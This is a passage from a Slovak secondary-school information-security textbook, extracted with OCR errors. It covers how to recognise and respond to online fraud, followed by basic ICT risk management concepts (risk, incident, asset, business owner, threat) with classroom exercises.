vas oslovila (napr. www.posta.com) , email od kolegu ma zdznam, Ze je odoslany
z prostredia mimo vasej organizacie, po kliknuti na odkaz chce linka okamzite
platit alebo ziskat vase prihlasovacie tidaje),

e mald suma - na odstranenie zbytocnej zataze staci zaplatit mald sumu (zaplatite
okamzite clo a nemusite chodit na colny trad preclievat tovar, nie je potrebné
platit kuriérovi za dondsku, lebo je to mozné platit virtudlne, tovar, ktory ste
zaplatili vam neodoslt, lebo uz je drahsi o 4 EUR a musite rozdiel najprv
doplatit),

e extrémne zlavy - zvykli sme si, e internetové obchody st lacnejsie. Utoénici
Casto vytvaraju falosné obchody a burzy, kde je mozné lacno nakupit alebo
zabezpecit si velky zisk (reklama na neznamy obchod s ponukou na viac ako
50% zlavy, zname osobnosti pontkajice tovar, ktory urobil s ich zdravim
zazraky, kryptoburzy vykazujlce obrovsky, garantovany zisk).

(\?)_} Priklady z predchddzajiicich podozrivych aktivit kategorizujte do typov iitokov:
phishing, vishing, smishing, podvodné burzy, ... a ndjdite na internete priklady 1itokov,
prezentujte v triede.

Ako postupovat pri podvode?

Vysvetlili sme si, ako rozoznat ttok, ako sa branit. Niektoré ttoky st vSak tispesné
a mozu zasiahnut nas alebo nasich blizkych. Od nasich prvych spolo¢nych krokov
s digitalnymi technolégiami sme sa ucili, Ze zakladnym predpokladom na
vyrieSenie utoku je dodrzanie vyroku: O #itoku musime hovorit a hladat pomoc.
Takato poucka sa Iahko napise. Co vsak mame robit, ak sme sa stali obetou
podvodu?

Napi$me si niektoré kroky v bodoch.

e o utoku musime povedat I'ud'om, ktorym déverujeme (rodic, ucitel, kamarat),

e niekedy nam je tazko komunikovat veci blizkym ludom, v tom pripade
skontaktujeme linku detskej pomoci( www linkadeti.sk, 1di.sk: 116 111, ipcko.
sk,...),

e s utoénikom nekomunikujeme,

e dame si overit svoje zariadenie, ¢i na iom nie je nainstalovany skodlivy kod,

e nebojime sa oslovit Specializované firmy, ktoré sa zameriavaju na odstranenie
utokov cez digitalne kanaly, Specidlne pri vydierani a ransomware,

e ak je utok urobeny v mene organizdcie, oznamime to organizacii cez kontakt,
ktory sme nasli na internete, nie ten, ktory nam prisiel v emaile alebo v sprave,

e ak sme priSli o peniaze alebo informacie z kariet, alebo prihlasenie do
internetového bankovnictva, kontaktujeme okamzite svoju banku a zaroven
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firmu/spolocnost, ktorej sa to tyka (napr. spolocnost, ktora prevadzkuje game
server),

e V pripade, ak ndm ukradli nase data, peniaze, vydieraji nds alebo sme
odovzdali nase citlivé informacie, kontaktujeme policiu SR.

Nasa digitalna bezpecnost je len o nds a nasom spravani. Ak budeme dostatocne
obozretni a informovani o ttokoch, ktoré nam hrozia, budeme poznat ochranu
a nebudeme sa bat néasledného odstrariovania podvodu, usetrime sebe a svojmu
okoliu vel'a penazi a starosti. Aj ked vsetko budeme dokonale poznat, neznamena to,
ze utoku nepodlahneme. Skor to pre nds znamena, ze pravdepodobnost, ze
podlahneme ttoku, je mensia a ak napriek nasej obozretnosti podlahneme, budeme
vediet, ¢o robit.
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Manazment rizik

Kazdy z nas zije vo svete plnom ludi, strojov, ktoré sa navzajom pohybuju
a organizuji. MoZeme autom zajst na vylet, vyuzivat atrakcie v lunaparku ¢i lietat
lietadlom za kamaratmi. VSetky tieto aktivity nam prinasaju velké zazitky, ale nest
aj urcité rizikd. Rizika mézu byt velké alebo mensie, respektive také, ktorym vieme
predist alebo sa budeme snazit minimalizovat ich dopad.

Co rozumieme pod minimalizovanim rizika? Predstavme si riziko, s ktorym sa
denne stretavame a naucili sme sa s nim zit. Rizikom je prechadzanie cez cestu mimo
priechodu pre chodcov. Kedze zakon prikazuje vodi¢om vyssiu pozornost voci
chodcom cakajucim na priechode, tak by sme pouzitim priechodu znizili,
minimalizovali riziko. Uplne sa nam riziko vymazat nepodarilo, pretoZe stéle je
moznost, Ze autu zlyhaji brzdy alebo vodi¢ bude nepozorny a ohrozi nas, ale my
sme urobili vsetko pre to, aby sme neboli ohrozeni. Prechadzanim cez cestu mimo
priechodu naopak riziko zvysujeme. Kazdé riziko sa da znizovat, len to stoji Cas
a peniaze. Vieme byt obozretni, pozrieme sa vlavo, vpravo, vyhodnotime rychlost
prichddzajucich dut a prejdeme len vtedy, ak nam ni¢ nehrozi. Vieme poziadat
policajtov, aby uzavreli ulicu, ked budeme prechadzat alebo nebudeme prechadzat
cez ziadnu ulicu nikdy. Objednat policajné hliadky a dohodntt odstavku ulice je
velmi drahé a prakticky nepouzitelné. Byt zavrety doma nam tiez nepomoze. Preto
v urcitej chvili musime riziko akceptovat, a teda naucit sa s nim zit. Uz sa nemo6zeme
dalej zaoberat nekone¢nou minimalizaciou.

Rizikd, s ktorymi zijeme, sa tykaju nasho zivota v redlnom aj v digitdlnom svete.
V tejto kapitole vam predstavime riziko z ovela odbornejsieho pohladu. Budeme sa
zaoberat nielen vznikom a zniZovanim, ale aj d'alsimi faktormi, ako je hodnotenie
a riadenie rizik. Manazment rizik je nevyhnutnym procesom pre aktkolvek cast
informacnej bezpecnosti. Informacna bezpecnost pracuje Casto s tym, ze sa neda
vSetko ochrdnit na sto percent. Musime vsak mat rieSenie, ako mat pod kontrolou,
ze 90% ochrany dnes, nebude 80% zajtra, 70% na dal$i den a dalej stdle menej
a menej. Na porovnanie a spocitanie nam slizi riadenie rizik.

S pojmom “riziko” sa stretdvame vo viacerych oblastiach. Vo svojej podstate ma toto
slovo stale rovnaky vyznam, len praktické uchopenie sa lisi v zavislosti od toho,
o0 akej oblasti sa rozpravame. Co to riziko je, sa dozvieme v tejto kapitole.

V nasledujtcich castiach kapitoly si vysvetlime, ako chapat pojem riziko a ¢o
znamena manazment rizik v oblasti informacnej bezpecnosti. V odbornej literature
sa tiez stretneme s pojmami ako “manazment IKT rizik”, pricom skratka IKT
znamena informacné a komunikacné technolégie (z angl. ICT = Information and
Communication Technology). Pre zjednodusSenie, v ramci tejto kapitoly budeme
pouzivat pojmy IKT a informacné technolégie (IT) ako synonyma.
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Postupne si vysvetlime, ¢o znamena IKT riziko a preco je pre nas a pre nasu
organizaciu dolezité pojmu riziko rozumiet. Povieme si, ako vieme riziko
identifikovat, ¢o st zakladné stavebné kamene manazmentu IKT rizik a ako vsetky
tieto znalosti spojit do celistvého procesu riadenia rizik. Nauc¢ime sa, ako nastavit
zivotny cyklus manazmentu IKT rizik zahffiujluci tiez mozné reakcie na riziko
a monitorovanie aktualneho stavu rizikovosti z pohladu informacnej bezpecnosti.

PreCo je manazment IT rizik ddlezity pre
bezpeénost organizacie
BEZPECNOST e @

Od Jozef Uroda 0 1364 9:07 20. marca 2022

Obr.: Priklad ¢lanku o dbleZitosti riadenia rizik v organizacii.’?

K manazmentu IKT rizik m6zeme v organizaciach pristtpit dvojakym spdsobom.
Mobzeme to brat ako nejakti byrokratickti zataz, ktorej cielom je, aby sme mali
vyplnené potrebné tabulky a hodnotenia rizikovosti, a nasledne nastavené
dokumenty odlozime na rok do archivu. Takyto pristup, ked' zbierame rizika a nic¢
s nimi nerobime, je velmi zly. Manazment IKT rizik moéZeme vsak uchopit
odbornej$im spdsobom, pricom jeho ciefom bude neustale zvySovanie trovne
bezpecnosti. V organizacii, ktorej manazment rizik je neodmyslitelnou sticastou
riadenia bezpecnosti, pomaha manazment rizik inovovat organizaciu a udrzat ju
v Cele vyvoja, a zaroven bezpecnu. V rychlo sa rozvijajucom svete okolo nas st oba
pohlady, aj rast organizécie a aj bezpecnost organizdcie, velmi dolezité. Zaroven
z pohladu bezpecnosti je nevyhnutné mat pod kontrolou zmeny, ktoré sa deju
v organizacii a v prostredi, v ktorom organizacia posobi. Z tohto ddovodu
manazment organizacie musi byt neustale informovany o aktualnom stave a arovni
bezpecnosti. V neposlednom rade je manazment rizik nastroj, ktory technicky
zdatnym “bezpecdkom” pomadha rozpravat jazykom biznisu, a teda poukazovat na
to, ¢o je prioritné a kedy je naozaj nevyhnutné investovat do zlepSenia stavu
bezpecnosti. Nasledujuce kapitoly popisuju prave tento druhy spdsob - manazment
IKT rizik ako nevyhnutny pilier informacnej bezpecnosti organizacie.

Manazment rizik - opakovanie

V prvej Casti ucebnice informacnej bezpec¢nosti boli vysvetlené zakladné pojmy, ako
riziko, aktivum a zranitelnost. V skratke sme popisali ich vztah a spdsob, ako do
celého prostredia vstupuju hrozby. Na nazornych prikladoch bola vysvetlena
dolezitost aktiva a postup, ako ho implementovanim bezpecnostnych opatreni

17" Preco je manazment IT rizik dolezity pre bezpecnost organizacie Dostupné online
[18.01.2024] https://preventista.sk/info/preco-je-manazment-it-rizik-dolezity-pre-
bezpecnost-organizacie/
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chranime. Tieto zavislosti boli popisané na jednoduchom priklade hrdinu vo filme.
Okrem toho boli popisané mozné reakcie na riziko a tiez bol nacrtnuty cyklus
manazovania rizik.'

(\D} Slovne popiste priklad hrdinu z proej Casti ucebnice a prezentujte na tfiom jednotlivé
proky rizika. MoZete si pomdct ucebnicou.

V tejto kapitole podrobnejsie vysvetlime problematiku manazmentu rizik, pricom
budeme rozvijat znalosti nadobudnuté v rdmci prvej ucebnice.

Riziko
Riziko - mozeme definovat ako udalost, ktorda moze nastat s urcitou
pravdepodobnostou a vplyva nejakym efektom na ciele, ktoré chceme

dosiahnut. Tento efekt sa tiez nazyva Dopad. Tiez to mo6zeme popisat ako
vplyv neistoty na ciele.”” Ak to zapiSeme vzorcom, vyzera to nasledovne:

Riziko = Dopad x Pravdepodobnost

Vztah rizika, dopadu a pravdepodobnosti zobrazuje aj nasledujuci obrazok, kde
cielom je prejst na druht strany priekopy:

Vysokd pravdepodobnost
Nizky dopad
l T——— T I
Riziko
&
Nizka pravdepodobnost
Nizky dopad
Riziko
[ 2
Nizka pravdepodobnost
Vysoky dopad
Riziko
L 2

Vysokd pravdepodobnost
Vysoky dopad

Riziko

Obr.: Vztah pravdepodobnosti a dopadu®

8 Zeman M., Oster J., Blsak M., Chromek D. (2021): Ucebnica Informacnej bezpecnosti pre
stredné a odborné skoly a gymnazia; ISBN: 978-80-972100-4-5. Str. 78 - 85, skratené.

19 ISACA (2015): CRISC Review Manual 6th Edition; ISBN: 978-1-60420-371-4. Str. 180.

20 The risk (probability x impact) of a man falling; Dostupné online [2.11.2023] https://
www.summitcl.com/risk-assessment-part-2-check-before-you-climb/the-risk-
probability-x-impact-of-a-man-falling/
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@_} Vymyslite priklady rizik z vasho Zivota k situdciam na obrdzku.

& S rizikom sa moZeme vo vSeobecnosti stretntit vo vsetkych aspektoch Zivota.
Ako bolo spomenuté v tivode tejto knihy, my sa budeme venovat “IKT riziku”,
t.j. riziku, ktoré identifikujeme v ramci oblasti informacnych a komunikacnych
technologii, resp. takému, ktoré vyplyva z pouZzivania tychto technoldgii.

Pri implementacii technoloégii v organizacidch je potrebné investovat peniaze do
nakupu alebo vyvoja funkcionalit, ktoré pomahaju plnit ciele danej organizacie.
Okrem toho vsak je potrebné investovat peniaze na implementaciu technickych
bezpecnostnych opatreni, ktoré sice neplnia primarnu funkciu daného biznisu
(pokial sa nejedna o biznis poskytovania bezpecnostnych sluzieb), ale plnia
podpornt funkciu danej organizacie.

Podobne ako pri sprave informac¢no-komunikacénych technolégii je to aj doma, kde
sa rozhodujeme, do coho skor investujeme peniaze: ¢i vymenif obyvacku,
vymalovat kuchynu, kiipit nové auto a staré predat, opravit strechu na dome alebo
dat upravit dvor. Doma mame tiez obmedzeny rozpocet a obmedzeny pocet I'udi,
ktori sa m6zu zmenam venovat. Ak budeme vyberat auto, nebudeme mat c¢as na
vyber architekta obyvacky a architekta pre opravu domu, architekta zdhrady, dvora,
a zaroven vsetko sa naraz robit nedd. Zvazime rizika, ¢i najprv vymenit strechu,
alebo tato oprava este pocka a nemusime sa bat, Zze zacne o rok zatekat, alebo
vymenit kuchynu, ktora sa rozpada, alebo staré auto, ktoré sa stale kazi, alebo dvor,
ktory by bolo dobré upravit, aby prinasal aj esteticky uzitok. Zvazime rizika,
urobime si ¢asovy plan a zacneme pracovat na zmenach. Mozno to bude trvat 3 roky
a casom pridu dalsSie, dolezitejSie a zaroven rizikovejSie veci. Zmeny st totiz
prirodzené pre nas zivot, ktory Zijeme.

Vratme sa spét do informac¢no-komunikacnych technologii a predstavme si priklad,
ako sa brani elektraren.

[= Napr. elektraren vyraba a predava elektrickui energiu. Napriek tomu bude
prevadzkovat firewall a antivirus, aby nedoslo ku kompromitacii (zneuzitiu)
riadiacej infrastruktury elektrarne. To znamend, Ze sa musi chranit proti
vonkaj$im hrozbam, ako je Skodlivy kdéd a hekeri, napriek tomu, Ze zameranie
jej ¢innosti sltzi na podporu priemyslu.

Chceme, aby samotna technoldgia, a tym aj organizacia boli chranené pred
narusenim. Je prirodzené, Ze konanie akejkolvek cinnosti prinasa riziko, ¢i uz
mensie, alebo vacsie. Rovnako plati, ze s vyuzivanim vyhod informac¢nych
technologii prichadza aj riziko potencidlne negativnej udalosti. Takouto
potencidlnou udalostou moéze byt napriklad unik dat, za ktoré je organizacia
zodpovedna alebo prienik neautorizovanej osoby do jej systému, ktora vykona
¢innost pre svoj prospech a na poskodenie biznisu (r6zne typy hackerskych titokov).
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Nejvice kyberutoki cili na vzdélavaci a vyzkumné
organizace, Skoly, uéitelé i Zaci musi byt se
zacatkem nového Zkolniho roku opatrni

Obr.: Priklad clanku o IKT rizikich pre Skoly, vzdeldvacie a vijskumné organizicie®

[ Pouzivanie IKT zariadeni prinasa zaroven riziko, ktoré je prirodzenou sti¢astou
nasho zivota. Ukazme si priklady:

e Ak pouzivate email na komunikaciu so Skolou, tito¢nici vdm mozu poslat
phishingovy email.

e Ak na komunikaciu so spoluziakmi pouzivate aplikaciu na posielanie sprav,
moze vas kontaktovat podvodnik, vydavajuci sa napr. za riaditela skoly.

o Ak si pri programovani stahujete volne dostupné kniznice, moze podvodnik do
nich vlozit skodlivy kod.

Zijeme vo svete, kde je pre tspesné podnikanie velmi ddleZité vediet rychlo
reagovat, ¢i uz to znamena rychlo inovovat alebo to znamena vyuzivat technolégie.
Bolo by nespravne si mysliet, Ze v Iubovolnom podnikani vieme existovat bez
akéhokol'vek potencialneho rizika a zaroven je takmer nemozné mat prosperujucu
organizaciu a nevystavovat sa pritom istému riziku. Odstrariovanie IKT rizik moze
tiez vyzadovat od zamestnancov vela prace a pre firmu zvySené naklady. To
znamena, Ze samotné odstraniovanie rizik vytvara urcité bariéry a nepohodlie pre
firmu. Je preto dolezité najst rovnovahu medzi tym, Ze organizacia je uplne
uzatvorena pred vonkajSim svetom a nereaguje na vyvoj, a stavom, kedy prijima
kazdy novy systém bez posudenia bezpecnosti. Nasou tlohou je teda variovat
(pohybovat sa v rozmedzi) medzi stavom absolutnej bezpecnosti uzatvorenim
organizdcie a iplnej otvorenosti, ked nedodrzujeme ni¢ z bezpecnostnych pravidiel.
Musime vytvarat rovnovahu tychto dvoch svetov a potrebujeme byt upovedomeni
o tom, aké bezpecnostné riziko v akom case a v ktorej faze podstupujeme. Musime
riziko identifikovat, merat, monitorovat a hlavne prijat za riziko zodpovednost.
Jednotlivé prvky zivotného cyklu riadenia takéhoto IKT rizika st popisané

21 Nejvice kyberttoku cili na vzdéldvaci a vyzkumné organizace, skoly, ucitelé i zaci musi

byt se zacatkem nového Skolniho roku opatrni; Dostupné online [21.1.2024]https://e-
news.cz/digitalizace/nejvice-kyberutoku-cili-na-vzdelavaci-a-vyzkumne-organizace-
skoly-ucitele-i-zaci-musi-byt-se-zacatkem-noveho-skolniho-roku-opatrni/
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samotnym manazmentom IKT rizik. Zastavme sa vsak eSte na chvilu pri pojme
“zodpovednost za riziko” a predstavme si blizsie, ¢o to znamena.

Rozdelenie zodpovednosti

[ Pre vysvetlenie tejto asti si predstavme pribehy dvoch manazérov bezpec¢nosti v dvoch
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rozlicnych spolocnostiach, ktorych zameranim je ndkup a predaj nehnutelnosti.
Manazéri bezpecnosti sii zodpovedni za riadenie bezpecnosti v organizdcii, nastavenie
pravidiel a kontrolu nad ich dodrZiavanim. Obe spolocnosti majii predstavenstvo,
v tomto pripade maju skupinu 5 l'udi, ktori rozhodujii o smerovani organizdcie. Peter
pracuje v modrej firme a jeho nadriadenym je priamo Clen predstavenstva. V tejto
modrej firme je oddelenie zodpovedné za biznis (teda vytvdranie zisku) v zodpovednosti
iného clena predstavenstva. David je manazérom bezpecnosti v Cervenej firme, v ktorej
jeho nadriadeny, ¢len predstavenstva, je zdroveri aj nadriadeny titvaru zodpovedného za
biznis.

V oboch spolocnostiach chce oddelenie biznisu zacat pouzivat novy softvér,
ktory slubuje zvySenie ziskov. Peter aj David vSak urobili so svojimi timami
analyzu a zistili, Ze tento softvér je velmi zranitelny z pohladu informacnej
bezpecnosti. V pripade, ak by ho zacali v spolocnosti pouzivat a nahravat tam
data klientov, nevedeli by garantovat, Ze tieto data klientov budu dostatocne
chranené. Obaja ozndmia svojim nadriadenym, clenom predstavenstva, Ze
z pohladu bezpec¢nosti neodportcaju pouzivanie tohto softvéru.

V tomto momente nastava rozdiel v pristupe k situdcii v tychto dvoch
spolo¢nostiach. V. modrej spolocnosti je primarnou zodpovednostou clena
predstavenstva, ktory je Petrov nadriadeny, dohliadat na jej bezpecnost. Preto
na stretnuti predstavenstva presved¢i ostatnych clenov, aby pouzivanie
softvéru zakazali aj napriek tomu, Ze ¢len predstavenstva zodpovedny za biznis
zastava nazor, ze moznost zisku je dolezitejsia. Nasledne poziadaji doddvatela
softvéru o opravu chyb, a potom sa planuju vratit k implementacii. V cervenej
spolocnosti bolo vsak konanie odlisné. Vzhladom na to, Ze v cervenej
spolocnosti je clen predstavenstva zodpovedny aj za biznis, aj za bezpecnost,
dostal sa v tomto momente do konfliktu zaujmov. Na jednej strane mu jeho
Iudia prezentovali nebezpecnu aplikaciu a na druhej mu druhy tim ukazoval
potencialne vynosy, ktoré moze softvér priniest. Nakoniec v nom jeho tzba po



zisku zvifazi a na stretnuti predstavenstva sa pouzivanie softvéru schvali bez
toho, aby sa kladla védcSia pozornost na analyzy softvéru z pohladu
bezpecnosti.

Cielom tohto kratkeho pribehu nie je poukazovat na to, ¢i je dolezitejsi biznis
organizacie alebo bezpecnost. Co je ddleZité si vSimnut, je objektivita findlneho
rozhodnutia. Spradvny pristup prezentuje modra firma, kde boli predstavenstvu
pred jeho rozhodnutim odprezentované vsetky klady aj zapory daného kroku
a rozhodnutie bolo vykonané s najlepsim vedomim.

& Konflikt zdujmov je situacia, kedy su na zaklade osobnych zaujmov alebo
vztahov s osobami zainteresovanymi do rozhodovania ohrozené objektivne
a nestranné plnenie tloh alebo funkcie.

@ Existuje priklad konfliktu zdujmov vo vasom okoli? Popiste a vysvetlite ho.

Taktiez nechceme tvrdit, Ze ak ma firma rovnaké nastavenie ako nasa cervena
spolocnost, bude v realnom svete postupovat rovnako. Avsak pravdepodobnost, ze
takéto nieco nastane, ak sa jedinec dostane do podobného konfliktu, je véacsia, ako
ked sa podobnému konfliktu zdujmov tplne vyhneme rozdelenim zodpovednosti
medzi dvoch manazérov. Preto je dobrym zvykom pri nastavovani modelov
bezpecnosti rozdel'ovat zodpovednost na vykonnu a kontrolna.

Pod vykonnou zodpovednostou si mozeme predstavit [udi v organizacii, ktori st
zodpovedni za Cast aktivit organizacie a ich primarnym cielom je zveladovat zisky
(tj. st zodpovedni za samotny “biznis” organizdcie). V terminol6gii manazmentu
rizik sa pouziva pojem biznis vlastnik. Biznis vlastnikom v organizacii je teda
niekto, koho tlohou je plnit ist funkciu biznisu danej organizacie. Spravidla na to
potrebuje nejaké nastroje na vykon tejto funkcie (napr. aplikaciu dostupna pre
klientov, internti aplikaciu na manazment tidajov o klientoch a iné).

[= Biznis vlastnik md na starosti proces, ktory na konci pre firmu vytvira zisk alebo
predpoklady na zisk. V automobilovom priemysle by bol zodpovedny jeden biznis
vlastnik za vyrobu a dalsi za ndvrh modelov dut. V elektrotechnike je jeden biznis
vlastnik zodpovedny napriklad za ndorh siciastok, iny za vyrobu a dalsi za predaj
sticiastok.

@ Vysvetlite rozdelenie zodpovednosti a navrhnite systém biznis vlastnikov vo vasej skole.

Na opacnej strane si pod kontrolnou funkciou predstavme informaénti bezpecnost
ako utvar v organizacii zodpovedny za to, aby nastavil pravidla a dozeral na ich
dodrziavanie, aby zamedzil naruseniu dovernosti, integrity a dostupnosti vsetkého,
¢o je pre firmu dolezité (tdaje, aplikdcie, infraStrukttra ...). Pojmy dovernost,
integrita a dostupnost boli vysvetlené v prvej casti ucebnice informacnej
bezpecnosti.?

2 Zeman M., Oster J., Blsak M., Chromek D. (2021): Ucebnica Informacnej bezpecnosti pre
stredné a odborné skoly a gymnazid; ISBN: 978-80-972100-4-5. Str. 71 - 72, skratené.
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& Manazér IKT rizik - je osoba v organizacii, ktora plni podla predchadzajiiceho
popisu kontrolna funkciou a jej tlohou je nastavenie metodiky manazmentu
IKT rizik, dohlad nad jednotlivymi castami Zivotného cyklu IKT rizika, ¢o
zahffla tieZ monitorovanie rizikového profilu v oblasti informacénych
a komunikacnych technolégii, a jeho reportovanie. Je vlastnikom ramca pre
manazment IKT rizik.

V tejto oblasti sa mozZeme stretntif este s jednym pojmom, ktory ma vztah s rizikom,
ale vyznam tychto pojmov je odlisny. Tym pojmom je bezpecnostny incident.

Bezpecnostny incident®

Bezpecnostny incident je akakol'vek bezpecnostnda udalost, ktora nie je
stcastou standardnych operacii v ramci sluzby alebo organizacie a ktora je
alebo moze byt pricinou narusenia informacnej bezpecnosti.

[ Na jednoduchom priklade si mdzeme vysvetlit vzdjomny vztah incidentu
a rizika. Predstavte si, ze vlastnite mobilnt aplikaciu, ktora slazi na
investovanie a nakup akcii pre registrovanych pouzivatelov. V aplikacii
spracovavate data pouZzivatelov a zaroven, su v nej ulozené ich stavy portfolii
akcii a dalsie citlivé data. Pri implementacii aplikacie nemate uz dostatok
financii na vykonanie penetracnych testov a ked’Ze sa potrebujete vyhnut strate,
idete s aplikaciou na trh aj bez tychto penetracnych testov. Ste si toho vedomi
a pocitate s rizikom, Ze ste penetracné testy nevykonali, a teda aplikdcia moze
obsahovat bezpecnostné diery, ktoré otvoria cestu tutocnikovi. Pocitate
s rizikom, s nejakou pravdepodobnostou, s ktorou moze nastat a s nejakym
dopadom, ktory moZe spdsobit, ak nastane. Zijete s rizikom. Jedného dria viak
zistite, ze doslo k uniku informacii klientov z vasej aplikacie. Hackeri zneuzili
bezpecnostnu dieru v aplikacii. Doslo k incidentu, pretoze doslo k naruseniu
informacnej bezpecnosti. Udalost, ktorti ste popisali na zaciatku rizikom,
skutocéne nastala.

Ak riziko skutocne nastalo, to znamena, Ze situdcia, ktora bola popisana v riziku
nastala, hovorime, Ze sa riziko materializovalo alebo naplnilo.

& Riziko sa naplnilo vzniknutim incidentu. Pri riziku dopad a pravdepodobnost
odhadujeme mozny dopad a jeho pravdepodobnost. Pri incidente uz
pravdepodobnost neriesime, lebo udalost nastala a sSkody neodhadujeme, ale
spocitavame tie redlne.

(\’D_} Uved'te priklady, kedy ste pocitali vo vasom Zivote s rizikom a naplnilo sa. Zamerajte sa
na priklady z iného a nie IKT prostredia.

\®_} Uved'te priklady, kedy ste pocitali vo vasom Zivote s rizikom a naplnilo sa. Zamerajte sa
na priklady len z IKT prostredia. MoZete si pomdct pribehmi, ktoré pozndte od priatelov
a spoluZiakov. Pamiitajte na ochranu ich osobnych dit.

% ISACA (2015): CRISC Review Manual 6th Edition; ISBN: 978-1-60420-371-4. Str. 176.
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Jednotlive prvky rizika

Aby sme vedeli popisat manazment a Zzivotny cyklus IKT rizik, je potrebné
oboznamit sa s jednotlivymi pojmami. Ked budeme poznat pojmy, bude pre nas
jednoduchsie porozumiet procesu zivotného cyklu IKT rizik.

Manazéri, co vedia riaditrizika st na trhu
prace najcennejsi. Preco to tiez neskusit’
ako Risk Manager?

Datum: 21.10.2019 Autor: Lubo3 Trojan

Dopytu na pozicii Risk Manager su od &ias celosvetovej krizy ovela viac Ziadani. A to
nielen v oblasti finanénictva. MoZno préve vdaka globalnej krize dnes riadi riziké velké i
malé spolognosti, prakticky vo vietkych odvetviach.

Obr.: Priklad ¢lanku o postaveni manazérov rizik na trhu price*

Aktivum

& Aktivum je nieco, ¢o ma pre organizaciu hodnotu. Okrem toho, Ze pod aktivom
mozeme rozumiet tovar alebo hardvér, patri sem aj softvér, informacie, [udia
a reputacia.®

Aktivum je pre nasu organizaciu vsetko to, na om nam zalezi, ¢o potrebujeme
nejakym spdsobom chranit, ¢o nechceme, aby bolo kompromitované, znicené,
zmenené alebo spristupnené neautorizovanym osobdm. Pod pojmom aktivum je
mozné chapat veci, ktoré je vidiet zvonku organizdcie, napr. tovar, ktory predavame
alebo sluzby, ktoré poskytujeme a taktiez data, ktoré nam nasi klienti poskytnu. St
to ale aj funkcie, ktoré vidime len interne, a teda aplikacie, ktoré nasi ludia potrebuji
na to, aby mohli robit biznis, ale tiez napriklad na to, aby bola mozna evidencia
vSetkych zamestnancov firmy a zabezpecené zaslanie vyplaty kazdy mesiac.
Sumarne povedané, je to vSetko, ¢o vytvara organizaciu.

Z tejto definicie sa moze zdat, Ze sa jedna o pomerne velkii mnozinu vsetkého
mozného, ktort je pomerne tazké manazovat. Pripomenme si vsak, Ze my chceme
spravne riadit manazment IKT rizik, takZe m&zZeme ohranicit tato mnozinu “len” na

% Manazéri, co vedia riadif rizikd st na trhu prace najcennejsi. Preco to tiez neskusit ako
Risk Manager?; Dostupné online [21.1.2024]https://www.tx.sk/blog/preco-dopyt-po-

risk-manageroch-stale-rastie
» ISACA (2015): CRISC Review Manual 6th Edition; ISBN: 978-1-60420-371-4. Str. 171.
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vsetko, ¢o sa tyka IKT. Ak by sme taktito mnozinu mali zjednodusene definovat,
potrebujeme sa zaoberat nasledujticimi oblastami:

e aplikdcie a data, ktoré pouzivame pre vykondvanie biznisu,

e aplikacie a data, ktoré pouzivame interne, na fungovanie firmy,

e vsetok hardvér, na ktorom vyssie spomenuté aplikacie beZia, pripadne sem patri
aj cloudové prostredie, ak niektoré z tychto aplikacii bezia v cloude,

o cela sietova infrastruktira, ktora zabezpecuje fungovanie vyssie spomenutych
bodov,

e interni zamestnanci, ktori pracuju v oblasti IKT,

e externi dodavatelia IKT sluzieb (mdze to byt napriklad firma, ktora ndm dodava
nejaky softvér ktory pouzivame).

\®_} Popiste aktiva domdcnosti, kde Zijete, rozdel'te ich na IKT a tie, ktoré nepatria do IKT.
(\@_} Popiste aktiva vasej skoly, rozdel'te ich na IKT a tie, ¢o nepatria do IKT.

Pri riadenti rizik je potrebné mnozinu aktiv dobre poznat. Potrebujeme ju mat dobre
zmapovand, tj. musime vediet aj o vdazbach medzi jednotlivymi aktivami. Takuto
funkciu by mal poskytnut tzv. Inventar aktiv. Aktivum, a teda aj inventar aktiv, je
zakladnym stavebnym pilierom manaZzmentu IKT rizik, pretoZe definuje to, na ¢om
je potrebné nastavovat bezpecnostné pravidla a na ¢om je potrebné kontrolovat ich
dodrziavanie. V pripade, Ze identifikujeme nedostatocné zabezpecenie, ktoré moze
sposobit narusenia aktiva, identifikovali sme IKT riziko.

(\@} Nakreslite s pomocou ucitela sietovii mapu vasej skoly, kde zvyraznite bezpecnostné
riesenia, pripojenie Skolskych pocitacov (zamestnancov a pocitacovych ucebni)
a pripojenie studentov na siet’. Identifikujte vsetky typy aktiv (napr. studentsky mobilny
telefon, pravidlami riadeny firewall, pocitac v kniZnici, pocitac pani ekonémky,...).

KedZe uz pozname pojem aktivum moZeme presnejsie definovat pojem biznis
vlastnik v doméne riadenia IKT rizik:

& Biznis vlastnik

Biznis vlastnik je osoba zodpovedna za aktivum (napr. aplikdciu) a za rizikd na
pridelenom aktive. Pre vSetky rizikd, ktoré st identifikované, musi byt uréeny biznis
vlastnik. Tento je zodpovedny za vykonanie napravnych opatreni na odstranenie
rizika. Spravidla sa za biznis vlastnika urcuje pozicia v instittcii, ktora ma
rozhodovaciu pravomoc a je zodpovedna za financné prostriedky, ktoré vie
investovat do napravy rizika (manazéri, riaditelia, veduci oddeleni a ttvarov).

(\’D} Pre popisané aktiva vasej skoly navrhnite biznis vlastnikov a odévodnite vase ndvrhy.
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Hrozba

Hrozba
Cokol'vek, ¢o je schopné konat voci aktivu s ciefom jeho poskodenia.?
Nasledok je narusenie informacnej bezpecnosti, ohrozenie biznis operacie.

Pod hrozbou si mozeme predstavit ¢innost, ktora narusi aktivum, samotny akt
poskodenia s dopadom. Je to v podstate to, preco je potrebné nastavovat informacnut
bezpecnost, aby nase aktivum a nasa organizacia boli schopné odolavat hrozbam.

Prikladmi takych hrozieb mo6zu byt:

e DoS (pretazenim zamedzit pouzivatelovi pristup do siete)) DDoS (nartsa
sietové sluzby v snahe vycerpat zdroje aplikacie; zahltenim webovej lokalitu
pochybnou aktivitou spdsobia nizku funkcnost lokality alebo jej uplné
vyradenie z prevadzky),

unik informacii,

prerusenie dodavky elektrickej energie,

utoky socidlneho inZinierstva,

kyberneticky utok,

neautorizovany pristup,

... amnoho dalsich.

@ Vysvetlite v skupindch, aky negativny dopad moézZe mat’ necakané prerusenie elektrickej
energie na vasej skole. Vytvorte 2 zoznamy, zamerajte sa najprv na Zivot skoly a potom
na IKT.

Aby bola hrozba vykonand, potrebujeme, aby ju niekto vykonal, resp. nieco
vykonalo. V metodike manazmentu rizik sa entita vykondavajtica hrozbu nazyva
agent hrozby. Agentom hrozby mézu byt kyberneticki tito¢nici, teroristi, zlodeji, ale
tiez zamestnanci alebo klienti. Taktiez agentom hrozby mézu byt veci a nie Iudia -
prikladom je hrozba toho, Ze nam vytopi datacentrum organizacie alebo Skolskt
serveroviiu, a tym bude nasa sluzba nedostupna. V tomto pripade je agentom
hrozby priroda.

(?_} Vyberte si jedno z identifikovanych aktiv vasej skoly a identifikujte hrozby, ktoré na
